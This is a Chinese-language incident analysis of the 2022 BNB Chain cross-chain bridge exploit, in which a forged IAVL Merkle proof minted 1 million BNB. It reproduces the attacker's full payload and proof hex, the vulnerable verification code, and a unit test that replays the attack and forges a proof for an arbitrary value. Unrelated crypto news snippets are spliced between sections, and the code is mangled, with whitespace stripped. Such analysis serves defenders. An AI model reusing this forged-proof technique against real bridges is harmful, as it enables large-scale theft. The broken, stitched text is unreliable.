事件背景
北京时间2022年10月7日凌晨,BNB??Chian跨链桥BSCTokenHub遭遇攻击。黑客利用跨链桥漏洞分两次共获取200万枚BNB,价值约5.66亿美元。
漏洞分析
BSCTokenHub是BNB信标链和BNB链之间的跨链桥。BNB链使用预编译合约0x65验证BNB信标链提交的IAVL的Proof,但BNB链对提交的Proof边界情况处理不足,它仅考虑了Proof只有一个Leaf的场景,对多个Leaves的处理逻辑不够严谨。黑客构造了一个包含多Leaves的Proof数据,绕过BNBChain上的校验,从而在BNB链造成了BNB增发。
以其中一次攻击交易为例:0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b
黑客构造输入数据payload和proof,输入参数通过validateMerkleProof校验,返回值为true。
在后续IApplication(handlerContract).handleSynPackage处理中,合约给黑客增发100万个BNB。
函数调用过程
交易首先调用CrossChain合约0x2000的handlePackage函数:
?functionhandlePackage(bytescalldatapayload,bytescalldataproof,uint64height,uint64packageSequence,uint8channelId)onlyInitonlyRelayer???sequenceInOrder(packageSequence,channelId)blockSynced(height)channelSupported(channelId)external{??bytesmemorypayloadLocal=payload;//fixerror:stacktoodeep,tryremovinglocalvariables??bytesmemoryproofLocal=proof;//fixerror:stacktoodeep,tryremovinglocalvariables?require(MerkleProof.validateMerkleProof(ILightClient(LIGHT_CLIENT_ADDR).getAppHash(height),STORE_NAME,generateKey(packageSequence,channelId),payloadLocal,proofLocal),"invalidmerkleproof");??addresspayableheaderRelayer=ILightClient(LIGHT_CLIENT_ADDR).getSubmitter(height);??......??if(packageType==SYN_PACKAGE){???addresshandlerContract=channelHandlerContractMap;???tryIApplication(handlerContract).handleSynPackage(channelIdLocal,msgBytes)returns(bytesmemoryresponsePayload){?if(responsePayload.length!=0){?????sendPackage(channelSendSequenceMap,channelIdLocal,encodePayload(ACK_PACKAGE,0,responsePayload));?????channelSendSequenceMap=channelSendSequenceMap1;????}???}???......??}??......??IRelayerIncentivize(INCENTIVIZE_ADDR).addReward(headerRelayer,msg.sender,relayFee,isRelayRewardFromSystemReward||packageType!=SYN_PACKAGE);?}?输入参数{?"payload":"0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100",?"proof":"0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143",?"height":110217401,?"packageSequence":17684572,?"channelId":2}
港股收盘:欧科云链收涨6.21%,火币科技收跌6.38%:今日港股收盘,恒生指数收盘报26306.680点,收跌0.72%;欧科集团旗下欧科云链(01499.HK)报0.188港元,收涨6.21%;火币科技(01611.HK)报4.110港元,收跌6.38%。[2020/12/21 15:58:24]
handlePackage会进一步调用MerkleProof.validateMerkleProof对输入的proof进行校验:
//函数原型:functionvalidateMerkleProof(??bytes32appHash,??stringmemorystoreName,??bytesmemorykey,??bytesmemoryvalue,??bytesmemoryproof)//函数调用:MerkleProof.validateMerkleProof(??ILightClient(LIGHT_CLIENT_ADDR).getAppHash(height),??STORE_NAME,??generateKey(packageSequence,channelId),??payloadLocal,??proofLocal),//调用参数:{?"appHash":"0x72cda827a83531ca0fd7ac917a6b65649719aab0836722caafe0603147a52318",?"storeName":"ibc",?"key":"0x00000100380200000000010dd85c",?"value":"0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100",?"proof":"0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143"}
港股收盘:欧科云链收跌12.00%,火币科技收跌3.23%:今日港股收盘,恒生指数收盘报24386.790点,收涨0.94%;欧科集团旗下欧科云链(01499.HK)报0.176港元,收跌12.00%;火币科技(01611.HK)报4.500港元,收跌3.23%。[2020/10/16]
MerkleProof相关代码可以看到,实际的验证逻辑是使用预编译合约0x65完成:https://github.com/bnb-chain/bsc-genesis-contract/blob/master/contracts/MerkleProof.sol#L66
??uint256memoryresult;??/*solium-disable-next-line*/??assembly{??//callvalidateMerkleProofprecompilecontract??//Contractaddress:0x65???ifiszero(staticcall(not(0),0x65,input,length,result,0x20)){}??}??returnresult==0x01;
系统预编译合约0x65对应iavlMerkleProofValidate功能:https://github.com/bnb-chain/bsc/blob/f3fd0f8bffb3b57a5a5d3f3699617e6afb757b33/core/vm/contracts.go#L81
系统合约0x65实现代码如下,主要逻辑为使用DecodeKeyValueMerkleProof解码输入参数,并调用Validate进行校验:https://github.com/bnb-chain/bsc/blob/master/core/vm/contracts_lightclient.go#L106
func(c*iavlMerkleProofValidate)Run(inputbyte)(resultbyte,errerror){??//returnnil,fmt.Errorf("suspend")??......??kvmp,err:=lightclient.DecodeKeyValueMerkleProof(input)iferr!=nil{??????returnnil,err??}??valid:=kvmp.Validate()if!valid{??????returnnil,fmt.Errorf("invalidmerkleproof")??}??result=make(byte,merkleProofValidateResultLength)??binary.BigEndian.PutUint64(result,0x01)??returnresult,nil}
其中kvmp.Validate()实现代码如下:https://github.com/bnb-chain/bsc/blob/master/core/vm/lightclient/types.go#L220-L234
func(kvmp*KeyValueMerkleProof)Validate()bool{??prt:=DefaultProofRuntime()??kp:=merkle.KeyPath{}??kp=kp.AppendKey(byte(kvmp.StoreName),merkle.KeyEncodingURL)??kp=kp.AppendKey(kvmp.Key,merkle.KeyEncodingURL)??iflen(kvmp.Value)==0{????err:=prt.VerifyAbsence(kvmp.Proof,kvmp.AppHash,kp.String())????returnerr==nil??}??err:=prt.VerifyValue(kvmp.Proof,kvmp.AppHash,kp.String(),kvmp.Value)??returnerr==nil}
DefaultProofRuntime构造函数使用IAVL库进行Proof的验证:
import(??"bytes"??"fmt"??"github.com/tendermint/iavl"??"github.com/tendermint/tendermint/crypto/merkle"??cmn"github.com/tendermint/tendermint/libs/common")......funcDefaultProofRuntime()(prt*merkle.ProofRuntime){??prt=merkle.NewProofRuntime()??prt.RegisterOpDecoder(merkle.ProofOpSimpleValue,merkle.SimpleValueOpDecoder)??prt.RegisterOpDecoder(iavl.ProofOpIAVLValue,iavl.IAVLValueOpDecoder)??prt.RegisterOpDecoder(iavl.ProofOpIAVLAbsence,iavl.IAVLAbsenceOpDecoder)??prt.RegisterOpDecoder(ProofOpMultiStore,MultiStoreProofOpDecoder)??return}IAVL代码问题
IAVL的Proof校验过程中,Hash计算存在漏洞,导致黑客可以在Proof添加数据,但计算Hash时并没有用到添加的数据。详细分析如下:
在len(pin.Left)不为0的分支中,计算Hash并没有使用pin.Right数据。黑客利用该处漏洞构造数据,添加proof.LeftPath.Right数据,但是该数据并不参与Hash计算。https://github.com/cosmos/iavl/blob/master/proof.go#L79-L93
func(pinProofInnerNode)Hash(childHashbyte)(byte,error){????hasher:=sha256.New()????buf:=bufPool.Get().(*bytes.Buffer)????buf.Reset()????deferbufPool.Put(buf)????err:=encoding.EncodeVarint(buf,int64(pin.Height))????iferr==nil{????????err=encoding.EncodeVarint(buf,pin.Size)????}????iferr==nil{????????err=encoding.EncodeVarint(buf,pin.Version)????}iflen(pin.Left)==0{iferr==nil{????????????err=encoding.EncodeBytes(buf,childHash)????????}iferr==nil{????????????err=encoding.EncodeBytes(buf,pin.Right)????????}????}else{iferr==nil{????????????err=encoding.EncodeBytes(buf,pin.Left)????????}iferr==nil{????????????err=encoding.EncodeBytes(buf,childHash)????????}????}????iferr!=nil{????????returnnil,fmt.Errorf("failedtohashProofInnerNode:%v",err)????}????_,err=hasher.Write(buf.Bytes())????iferr!=nil{????????returnnil,err????}????returnhasher.Sum(nil),nil}
LooksRare:将不支持以太坊PoW分叉链:8月30日消息,NFT 市场 LooksRare 发布公告表示,为与以太坊基金会和更广泛的以太坊社区的共识一致,决定不支持可能出现的以太坊区块链的分叉版本(包括 PoW 分叉)。在合并发生之前的短时间内,LooksRare将进入维护模式,与此同时,任何交易都将被暂停,从而消除合并完成后订单重放的风险。维护模式的确切时间将在临近合并时确认和公布。[2022/8/30 12:57:54]
根据上述分析,正常数据组织结构如下,proof.LeftPath.Right为空值,计算得到正确的Hash。
proof.LeftPath=len(2)
proof.LeftPath是一个正常数据,proof.LeftPath.Left是一个正常数据,proof.LeftPath.Right空值
proof.InnerNodes=len(0)
proof.Leaves=len(1),proof.Leaves是一个正常数据
黑客构造攻击数据结构如下,添加proof.LeftPath.Right数据,且该数据不参与Hash计算。
proof.LeftPath=len(2)
proof.LeftPath是一个正常数据,proof.LeftPath.Left是一个正常数据,proof.LeftPath.Right是一个伪造数据
proof.InnerNodes=len(1),InnerNodes=nil
proof.Leaves=len(2),proof.Leaves是一个正常数据,proof.Leaves是一个伪造数据
且proof.LeftPath.Right=COMPUTEHASH(proof.Leaves)
IAVL的Proof校验代码如下,主体逻辑为COMPUTEHASH递归调用。由于lpath.Right也为黑客输入数据,使得黑客构造的数据能够通过bytes.Equal(derivedRoot,lpath.Right)的校验,并返回上一轮COMPUTEHASH通过proof.Leaves计算的结果,该结果为正常数值,从而绕过了IAVL的Proof校验。
https://github.com/cosmos/iavl/blob/master/proof_range.go#L222-L309
func(proof*RangeProof)_computeRootHash()(rootHashbyte,treeEndbool,errerror){?...??varCOMPUTEHASHfunc(pathPathToLeaf,rightmostbool)(hashbyte,treeEndbool,donebool,errerror)??//rightmost:istherootarightmostchildofthetree???//treeEnd:trueiffthelastleafisthelastitemofthetree.??//Returnsthe(possiblyintermediate,possiblyroot)hash.??COMPUTEHASH=func(pathPathToLeaf,rightmostbool)(hashbyte,treeEndbool,donebool,errerror){??????//Popnextleaf.??????nleaf,rleaves:=leaves,leaves??????leaves=rleaves??????//Computehash.??????hash,err=(pathWithLeaf{??????????Path:path,??????????Leaf:nleaf,??????}).computeRootHash()??????iferr!=nil{??????????returnnil,treeEnd,false,err??????}??????//Ifwedon'thaveanyleavesleft,we'redone.??????iflen(leaves)==0{??????????rightmost=rightmost&&path.isRightmost()??????????returnhash,rightmost,true,nil??????}??????//Provealongpath(untilwerunoutofleaves).??????forlen(path)>0{??????????//Droptheleaf-most(last-most)innernodesfrompath??????????//untilweencounteronewithalefthash.??????????//Weassumethattheleftsideisalreadyverified.??????????//rpath:restofpath??????????//lpath:lastpathitem??????????rpath,lpath:=path,path??????????path=rpath??????????iflen(lpath.Right)==0{??????????????continue??????????}??????????//Popnextinners,aPathToLeaf(e.g.ProofInnerNode).??????????inners,rinnersq:=innersq,innersq??????????innersq=rinnersq??????????//Recursivelyverifyinnersagainstremainingleaves.??????????derivedRoot,treeEnd,done,err:=COMPUTEHASH(inners,rightmost&&rpath.isRightmost())??????????iferr!=nil{??????????????returnnil,treeEnd,false,errors.Wrap(err,"recursiveCOMPUTEHASHcall")??????????}??????????if!bytes.Equal(derivedRoot,lpath.Right){returnnil,treeEnd,false,errors.Wrapf(ErrInvalidRoot,"intermediateroothash%Xdoesn'tmatch,got%X",lpath.Right,derivedRoot)??????????}ifdone{returnhash,treeEnd,true,nil??????????}??????}??????//We'renotdoneyet(leavesleftover).Noerror,notdoneeither.??????//Technicallyifrightmost,weknowthere'sanerror"leftoverleaves??????//--malformedproof",butwereturnthatatthetoplevel,below.??????returnhash,false,false,nil??}??//Verify!??path:=proof.LeftPath??rootHash,treeEnd,done,err:=COMPUTEHASH(path,true)??iferr!=nil{??????returnnil,treeEnd,errors.Wrap(err,"rootCOMPUTEHASHcall")??}elseif!done{??????returnnil,treeEnd,errors.Wrap(ErrInvalidProof,"leftoverleaves--malformedproof")??}??//Ok!??returnrootHash,treeEnd,nil}
Moneycorp 为数字资产交易所提供流动性管理模块:金色财经报道,支付金融科技公司 Moneycorp 今天宣布为数字资产交易所 (DAX) 提供商推出其外汇流动性管理解决方案。
Moneycorp North America 首席执行官 Tejus Oza 表示,“我们今天的声明对社区来说意义重大,因为我们的 API 使他们能够集成复杂的系统和数据,同时在任何系统或工作流程中自动化和访问外汇汇率。”(finextra)[2022/8/9 12:11:15]
黑客攻击构造的数据中,包括了IAVL:V和multistore相关数据,multistore数据也是基于IAVL进行操作,原理是一样的,不再进行详细分析。
这次IAVLProof暴露的问题在于,数据局部的变化无法反应到整体,使得校验发生错误。在Cosmos生态中,IBC使用ICS23来做数据的校验处理,ICS23与IAVLProof校验不同点在于,ICS23会对所有的“叶子节点”的值进行数据校验,最后计算得出的根Hash再与链上数据进行校验,OKC采用的是ICS23的Prove,因此不存在BNBChain这次遇到的安全漏洞。
测试验证代码
利用黑客攻击交易数据,基于BNBChain单元测试代码,增加了基于黑客攻击交易的测试用例,可以完整复现黑客的攻击交易。单元测试代码利用iavlMerkleProofValidate.Run接口验证输入数据,即相当于调用预编译合约。https://github.com/BananaLF/bsc/blob/bsc-hack/core/vm/contracts_lightclient_test.go#L99-L100
iavlMerkleProofValidateContract:=iavlMerkleProofValidate{}success,err:=iavlMerkleProofValidateContract.Run(input)
利用黑客攻击交易数据,构造新的payload数据为value:=byte(“okctesthack”),并对proof相应数据进行了修改,即修改proof.LeftPath.Right和proof.Leaves对应的数据,新构造的数据可以通过okcIavlMerkleProofValidate校验,即修改了黑客数据也能通过校验。另外,如下单元测试代码对原始黑客数据和修改后的数据两种case都进行了校验,且校验都能成功,从而说明如下测试代码利用本文所述漏洞成功进行了复现。https://github.com/BananaLF/bsc/commit/697c5cd73a755a7c93c0ed6c57d069e17f807958
funcTestTmHeaderValidateAndMerkleProofValidateTest(t*testing.T){????testCases:=struct{????????name?string????????valuebyte????????proofbyte??}{????{??????//datasourcehttps://bscscan.com/tx/0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b??????"hackdata",??????func()byte{??????????value,err:=hex.DecodeString("000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100")??????????require.NoError(t,err)??????????returnvalue??????}(),??????func()byte{??????????proofBytes,err:=hex.DecodeString("0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143")??????????require.NoError(t,err)??????????returnproofBytes??????}(),????},????{??????"okctestdata",??????func()byte{??????????value:=byte("okctesthack")??????????returnvalue??????}(),??????func()byte{??????????proofBytes,err:=hex.DecodeString("0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20862869344b449b596df9b3889117c7696b0838ecc112ce33b147ad28e587f71712001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12205d6de1244e019deb3f01c41555d6bb458af5de0be9f14fc8a75abb97c8dbc68018010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143")??????????require.NoError(t,err)??????????returnproofBytes??????}(),????},??}??for_,tc:=rangetestCases{????okcIavlMerkleProofValidate(tc.value,tc.proof,t)??}}funcokcIavlMerkleProofValidate(value,proofBytesbyte,t*testing.T){??key,err:=hex.DecodeString("00000100380200000000010dd85c")//thisequaltogenerateKey(17684572,2)??require.NoError(t,err)??newAppHash,err:=hex.DecodeString("72cda827a83531ca0fd7ac917a6b65649719aab0836722caafe0603147a52318")//thisisgotbyhackdata??require.NoError(t,err)??merkleProofInput:=make(byte,3232len(key)32len(value)32len(proofBytes))??copy(merkleProofInput,"ibc")??binary.BigEndian.PutUint64(merkleProofInput,uint64(len(key)))??copy(merkleProofInput,key)??binary.BigEndian.PutUint64(merkleProofInput,uint64(len(value)))??copy(merkleProofInput,value)??copy(merkleProofInput,newAppHash)??copy(merkleProofInput,proofBytes)??totalLengthPrefix:=make(byte,32)??binary.BigEndian.PutUint64(totalLengthPrefix,0)??binary.BigEndian.PutUint64(totalLengthPrefix,0)??binary.BigEndian.PutUint64(totalLengthPrefix,0)??binary.BigEndian.PutUint64(totalLengthPrefix,uint64(len(merkleProofInput)))??input:=append(totalLengthPrefix,merkleProofInput...)??iavlMerkleProofValidateContract:=iavlMerkleProofValidate{}??success,err:=iavlMerkleProofValidateContract.Run(input)??require.NoError(t,err,err)??expectedResult:=make(byte,32)??binary.BigEndian.PutUint64(expectedResult,0x01)??require.Equal(t,expectedResult,success。
港股收盘:欧科云链收涨1.45% 火币科技收涨1.85%:今日港股收盘,恒生指数报24253.29点,收涨2.12%;欧科集团旗下欧科云链(01499.HK)报0.210点,收涨1.45%;火币科技(01611.HK)报3.30点,收涨1.85%。[2020/4/7]
事件过程
被攻击全过程可查看上一篇文章:链上卫士:BNBChain遭攻击时间轴梳理。OKLink多链浏览器已对BNBChain黑客地址进行风险标签标记,关于此次被盗后续,链上卫士团队将进一步追踪案件细节并及时同步。
以太坊未平仓合约在以太坊合并前的几周内急剧上升。即使在合并之后,鉴于机构投资者在网络转向工作量证明机制后的所有新兴趣,未平仓头寸也没有下降.
过去90天内,全球某些地区的许多流行GPU的价格下降了近60%。以太坊期待已久的向权益证明(POS)共识机制的过渡于9月15日开始,从而最终将其长期存在的交易困境置于后视镜中.
大家好,我是老树藤,在这里,每一款游戏及空投,都能得到保姆级教程。Optimism上的任务相信有很多人在别的博主那里看到过,或者已经做了,据我所知很多人做的都是懵懵懂懂的,比如质押要质押多少、多.
DearHuobiGlobalUsers,CandyDropislaunchingHOOPonOct7,2022.Registrationperiod:HOOP:11:00(UTC)Oct7.
DearHuobiGlobalUsers,HuobiwillbecarryingoutamaintenanceandupgradeoftheOTCtradingsystemstarting16:.
价值数百万美元的比特币突然被一头加密鲸购买。2022年第四季度初,比特币与所有其他主要加密货币一样,未能结束衰退.